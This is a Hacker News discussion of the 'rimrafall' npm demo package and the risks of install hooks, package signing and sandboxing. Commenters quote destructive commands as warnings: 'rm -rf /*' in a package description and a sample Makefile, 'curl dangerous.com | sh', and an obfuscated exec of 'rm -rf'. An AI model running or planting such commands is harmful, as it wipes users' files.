
Npm install could be dangerous - joaojeronimo
https://github.com/joaojeronimo/rimrafall
======
moe
This applies to pretty much every pkg manager ever created.

That's why it's important to have end-to-end package signing with a reasonable
UI, so people can choose to selectively trust the sources they need and get
alerted _before_ new dependencies get pulled in.

Sadly I don't know of any pkg manager that implements this correctly.

~~~
justinsb
I find the apt package model to be very good (add trusted keys & repositories
explicitly). What do you see as the shortcomings of apt compared to your
ideal?

~~~
raesene5
I'm not OP, but my opinion would be that APT does do some things better than
npm etc but there's still some potential problems.

Probably one of the most obvious is that access to the repos is over
unencrypted HTTP connections which opens the process up to tampering
(depending on the attacker) for example injecting an older version of a
package with a known security issue.

~~~
ckuehl
_> for example injecting an older version of a package with a known security
issue_

There's a limited window during which an attack like this will work. If you
look at one of the Release files [1], you'll notice the pseudo-header:

    
    
        Valid-Until: Wed, 04 Feb 2015 16:41:23 UTC
    

After this date passes, aptitude update will fail, warning you that your
sources are out of date, with a message like:

    
    
        E: Release file for http://mirrors/debian/dists/wheezy-updates/Release is expired (invalid since 1h 24min 32s). Updates for this repository will not be applied.
    

Of course, the Release file is signed, so you can't just forge that pseudo-
header (or change any of the packages in the release).

You could also choose one of the mirrors that supports HTTPS, like
mirrors.kernel.org or mirrors.ocf.berkeley.edu (both good for Bay Area folks).

(Granted, the window is probably larger than we'd like, though you could write
a script to check that if you wanted. Something like [2] would work.)

[1] [http://mirrors.ocf.berkeley.edu/debian-
security/dists/wheezy...](http://mirrors.ocf.berkeley.edu/debian-
security/dists/wheezy/updates/Release) [2]
[https://github.com/ocf/puppet/blob/master/modules/ocf_mirror...](https://github.com/ocf/puppet/blob/master/modules/ocf_mirrors/files/project/debian/health)

------
jfroma
If you run npm with root, npm will run scripts with the user "nobody" by
default. This means that npm doesn't run scripts as root even if you run "npm
install" with root.

You can set another user instead of nobody with the "user" option and you can
disable switching UID/GID using the "unsafe-perm" option but DO NOT DO THIS.

More information here:
[https://docs.npmjs.com/misc/config](https://docs.npmjs.com/misc/config)

edit: added more details.

------
attilagyorffy
This is exactly why i think modern kernel level security layers, such as
FreeBSD jails (or Docker/LXC) were born. Provided your app runs within a jail,
it wouldn't matter much anymore:

> Once inside the jail, a process is not permitted to escape outside of this
> subtree

You could also develop within isolation, therefore your development env would
be safer and even similar to a production environment. Needless to say, that
has additional benefits.

~~~
mahouse
I always develop inside a virtual machine, with a shared folder in between so
I can write code on the host, but everything runs in the guest.

~~~
attilagyorffy
That's also a good solution I think. One of the main advantages of using
containers though is real portability. This means _in theory_ you could just
push your container in development into production without too much hassle and
making administrators nervous :) That's not the same level of portability a
full VM would give you.

Admittedly this is more of a discussion about containers and security than npm
itself but I'm interested in discovering the options out there. I may attempt
to move all my stuff to containers for a bit and write about my findings.

------
illumen
npmjs still contains the package:
[https://www.npmjs.com/search?q=rimrafall](https://www.npmjs.com/search?q=rimrafall)
[https://www.npmjs.com/package/rimrafall](https://www.npmjs.com/package/rimrafall)

'0 downloads in the last month'

There is no 'report package' button. The support link goes to a 'we are
hiring' contact form. Report bad packages as security issues?
[https://www.npmjs.com/security](https://www.npmjs.com/security)

Package signing. Review process. Scanning tools for dangerous packages. As a
user, don't trust anything and isolate containers and jails. Ban bad actors.
Charge for a curated package index.

Lots of other plugin stores do better than npm.

~~~
raesene5
that's interesting. Any pointers to package stores that do a better job on
security? I'm researching the area a bit at the moment and I've not seen a lot
of good practice out there, so would be interesting to have some good examples
to hold up.

~~~
thinkmoore
We haven't developed far enough for a package store at this point, but this is
one of the use cases we're hoping to explore as part of our capability-based
shell scripting language: shill-lang.org.

~~~
raesene5
cool. If you're looking for thoughts about threat models and ways to do it
[http://theupdateframework.com/index.html](http://theupdateframework.com/index.html)
seems to have some good info.

------
rooodini
> […] as dangerous as `curl dangerous.com | sh`.

dangerous.com appears to be a saucy outfits retailer. Irrespective of the
name, piping the html to sh is probably fine.

~~~
billyhoffman
I often wonder about the results of people using functional hostnames in their
examples. Most PoC exploit code use _" target.com"_ as a place holder which
makes sense, but hilariously is also the hostname for US retailer Target...

~~~
glittershark
This is exactly the reason example.com exists

~~~
billyhoffman
Yep. RFC2606 It is what they should use. And if you need to specify 2 hosts,
you can use example.net and .org as well.

Unfortunately, the example domains don't convey context very well, so we see
things like target.com, victim.com, etc

~~~
varikin
This can be corrected by target.example.com and victim.example.com. Conveys
the context while remaining safe as an example.

~~~
pimlottc
That generally works, although in some cases it makes a difference whether two
hosts are on the same tld; at the very least, it implies a connection between
the two that may not always make sense (why is aggressor.example.com attacking
victim.example.com?).

------
scljstcwombat
It's always been amateur hour over there. The 'official' install was `curl
[http://npmjs.org/install.sh](http://npmjs.org/install.sh) | sh`[1], package
checksums aren't uniformly checked, the list goes on.

But don't worry guys, they had a security audit[2].

[1]
[http://web.archive.org/web/20101228041356/http://npmjs.org/](http://web.archive.org/web/20101228041356/http://npmjs.org/)
[2] [http://blog.npmjs.org/post/80277229932/newly-paranoid-
mainta...](http://blog.npmjs.org/post/80277229932/newly-paranoid-maintainers)

------
tootie
I could just as easily embed something like that in any code on any open
source project in any language as part of the installer or the main code base.

~~~
crazydoggers
Bingo... pretty trivial to stick an `rm -rf /*` shell call somewhere in your
code. Not sure what difference it makes whether it's in a package manager
file, or the code. Lesson... read the code before running it.

Title of the post should be "Running code you haven't read can be dangerous"

~~~
schoen
A lot of people using package managers, though, might think that someone else
has read the code that's about to be installed (so they don't have to read it
before installing it). I've installed five or six things for development work
using pip recently and I would have been shocked if they were malicious (or if
I had to read thousands of lines of Python to make sure they weren't
malicious).

~~~
sprkyco
It is interesting the contrast in cultures between developers and "hackers" it
was not uncommon to hear about script kiddies picking up code and realizing
later that a rm rf line was contained in the file. The common reaction to a
scenario like that would be well the script kid got what he deserved. However,
there is a fringe within that group that is more interested in testing these
thing in VMs (so the damage would be minimal in that case). However when a
security issue is brought to light like this and the only difference is the
intentions of the user the arguments are so completely different. Script Kid
downloads rm rf script and runs HAHA! Javascript Developer downloads package
and runs blindly "well who let that happen and how do we stop it from
happening again" hopefully some HN reader can respond to this to succinctly
convey the philosophical mechanism going on here as I cannot quite place it.

~~~
schoen
Maybe the script kids think that they're playing One-Shot Prisoner's Dilemma
(or occasionally Iterated Prisoner's Dilemma) and the developers think they're
playing some other game?

~~~
sprkyco
Thanks for the reference schoen this is why I love HN. I sometimes have
difficulty organizing thoughts into neatly categorized theories like this,
best I can usually do is realize i'm sure somebody has thought about this
before and explained better than I can.

------
detaro
Somehow I feel like using something that just simulates rm -rf /* would have
brought the point across just as well and a bit safer...

~~~
jscheel
Agreed, this is irresponsible.

~~~
yourad_io
There's warnings even in the description of the package:

    
    
        "name": "rimrafall",
        "version": "1.0.0",
        "description": "rm -rf /* # DO NOT INSTALL THIS",
    

How would you accidentally rm rf yourself with this?

A github issue "should" have sufficed, but it often doesn't. A practical
demonstration is powerful enough to trigger immediate action.

------
ffn
Just another reason to install nodejs with a node versioning machine like nvm
or n... or to chown your /usr dir so you don't have to run sudo every time you
want to npm install. Since you need super user privileges to accidentally
remove your system on most linux distros, it really helps if you don't form
the habit of sudo npm installing everything.

~~~
nailer
I use n, but this would still try and delete everything it could - n doesn't
chroot / contain/ zone / docker / rocket anything AFAIK.

------
endergen
Any package manager, especially one with fuzzy matching is extremely
dangerous. Every time you do an install you are often pulling hundreds of
modules from many many places. If any one of the codebases of a module were
compromised even by a sneaky contributor, you could inject arbitrary code into
any companies codebase/runtime.

Until object capability type systems become more popular, this will always be
an issue. Unless you hand audit everything. Good luck being productive doing
that, if you even have the skills or team members able to audit code.

------
tenderlove
It's not just Npm, RubyGems has essentially the same issue. I think the real
lesson is "be careful what you install".

~~~
kungfooguru
But do they need to have the issue? Why allow running arbitrary commands
during install?

To me it is less about someone purposely including malicious code (since yes,
that could be in the project itself not just the install) but that having this
willy-nilly form of package managing opens up people to mistakes moving files
around that do harm on accident.

And it gets even worse if the package is able to be added to a repo, like
npmjs.org, and not have to be accepted after being reviewed.

~~~
mmgutz
There's not much difference between running a command on install and using an
open source library. It's just as easy to to hide `exec("r" \+ "m" \+ " -r" \+
"f" \+ " .")` in source.

------
raesene5
This is a problem with most/all lib installers. They tend to have hooks to
allow post-install actions and those hooks tend to be able to run OS commands,
with the privileges of the installing user.

Of course what's extra worrying is it's not just the libs you directly
install, but all their dependencies which get to carry out these actions. So
for example when you install rails, it will install quite a large number of
subsidiary gems.

Then when you add in the fact that the credentials that control dev access to
push to places like rubygems and npm are just static username/password combos
(which sometimes get stored in plain text in a dot file in the developers home
dir) and that there's no common use of digital signing for issued libs (in
some cases the installers don't even support it).

~~~
tete
Well, even if it wasn't a post/pre install, even a node library can fork that
exact command, upload your home directory, etc.

That's actually the reason it isn't just dangerous if run as root. Many people
have huge amounts of sensitive information and data with read and write
access.

A library could of course also fetch even more data. One could create an npm
based botnet.

------
mofle
There are some things you can do to make `rm` safer which would prevent this
from working: [https://github.com/sindresorhus/guides/blob/master/how-
not-t...](https://github.com/sindresorhus/guides/blob/master/how-not-to-rm-
yourself.md#safeguard-rm)

Though the real fix is doing development in a sandboxed container.

------
samspot
[https://github.com/joaojeronimo/rimrafall/issues/2](https://github.com/joaojeronimo/rimrafall/issues/2)
hehehe

~~~
joaojeronimo
It works with the bash shell that comes with git for windows

------
XorNot
So this doesn't strike me as an npm issue but something more fundamental:
there is no easy way on any platform to define a set of rules for processes I
invoke via the command line.

Like, it would be really really nice if I could wrap npm so it can only write
to $HOME/.npm, /tmp and the current working directory - but I know of no
system which will currently let me do that suitably dynamically.

~~~
eyko
Unix user permissions take care of that.

~~~
namuol
Kinda. It would be nicer to limit permissions on a per-"application" level,
requiring one-time explicit grants from the user, kinda like how a lot of
platforms already do it (web browsers, Android APK, etc).

~~~
eyko
> It would be nicer to limit permissions on a per-"application" level,
> requiring one-time explicit grants from the user

Most services run under their own username/group for exactly this reason. A
user should only be able to obliterate their `$HOME` folder and nothing else,
and if you run npm as a certain user, you can restrict that even further by
setting the right permissions. If you still need further protection from
accidental deletions, it's probably a good idea to use a filesystem with
snapshot support like ZFS or BTRFS.

Very few programs should be run as root, and developers _should_ know this.
Random scripts pulled from the internet are not in that list. If you
absolutely need to be logged in as root, then it's probably best you run npm
as a different user (runuser -l username -c command). I cannot imagine any
reason why you would need to run `npm install` as root. Global packages?
Perhaps users should chmod their global npm modules folder to allow installing
as an unprivileged user, or at least as the npm user, and then run npm as that
user. My global npm packages folder is owned by the npm user/group and if I
need to install a global npm package, i usually run it as `runuser -l npm -c
npm install -g ...` (or sudo -u npm on osx). It's not an extreme precaution
and it's not even a hassle, and while I understand it's not the default, it's
also not true that by default npm install can write or delete files outside of
your home folder (unless run as root)

I'm not sure the title of this should be "npm install could be dangerous" more
than "running scripts as root could be very dangerous", which is a no-brainer.
The rule of thumb for users/admins in unix-like systems is to keep permissions
as strict as possible.

~~~
XorNot
The problem is this doesn't tally well with the overall user experience.

I don't want my hard drive being littered with files owned by not-me, because
they don't work properly when I need to rsync things and I can't change their
ownership easily etc.

What I want is a kind of "sub-user": where I have sudo like powers over files
owned by my user account by default, which are then dropped for individual
commands - or something similar.

Which comes back to my original point: we've lots of mechanisms, but none of
them actually wrap-well or seamlessly with how you actually work which makes
them too much of a pain to use for the 99% of the time when everything is
fine.

------
detaro
Slight OT: does anyone know of any hacking/malware campaigns that were
specifically aimed at developers (but not against a specific company)? Normal
trojans sometimes steal game keys, I could imagine searching the disk for AWS
keys might be profitable, too?

------
serve_yay
Computing could be dangerous.

------
runj__
More of a joke but:

npm install virus.exe

Perfect for the #scalenpm tshirts

[https://github.com/peny/virus.exe](https://github.com/peny/virus.exe)

------
zobzu
awareness for this is always good many now just have scripts doing curl blah |
sudo and expecting the blah url will always serve the content they expect.
signed versions seems to be the current best way to not have problems, even
thus its not perfect.

And of course, most things like npm either dont support this or dont support
it well, or nobody cares about it

~~~
tkone
The good part about npm is that if you run it as `sudo` it will de-
authenticate when it's running any script in it's package files. So at least
those won't be run with sudo permission.

------
krisdol
Well, under no circumstance should you run npm, nvm, rvm, rbenv, pip, etc as
root.

------
talles
> can be as dangerous as curl dangerous.com | sh

What's _dangerous.com_?

~~~
wging
Any site that serves up content that will be interpreted by `sh`.

Meaning, what happens if someone decides they want you to lose your home
directory? They serve up the content "rm -rf ~". That doesn't even require
privilege escalation, but it might ruin your day.

~~~
talles
Let me rephrase:

Is _dangerous.com_ a website with fame for such trick or it's just a name
example?

~~~
joelwilliamson
It's a name example.

------
tomphoolery
it would be cool if there was a way to show which commands npm was running in
its scripts.

~~~
jbrooksuk
Or if it saw anything dangerous, it'd confirm that you want to run it.

Edit: Fair points on all the comments below, pardon my ignorance :)

~~~
jaxbot
See Halting Problem:

[http://en.wikipedia.org/wiki/Halting_problem](http://en.wikipedia.org/wiki/Halting_problem)

ELI5: It is proven to be impossible to tell exactly what a program is going to
do without executing it.

~~~
thinkmoore
While that may be true for an unrestricted language, it doesn't need to be
true of the programs we _design_. There's no reason that an installer needs to
be written in a completely unrestricted way. NPM could use a DSL which would
make it possible to review what an installer is going to do.

This is an idea I (with some collaborators) have explored in a more general
way for secure shell scripting: shill-lang.org.

------
dhruvbird
Can I do the same with Makefiles?

~~~
Figs
It's possible to write malicious Makefiles that do things like:

    
    
        install:
            rm -rf /*
    

If you just `git clone <evil-repo> . && make` or `git clone <evil-repo> . &&
sudo make install` then sure, you'll be burned too. You should always check
what a build system is going to do before running it.

Most people would expect that packages from a package manager have already
been checked by someone who knows what they're doing before being made
available to the public though (like Debian). This is apparently not the case
for npm.

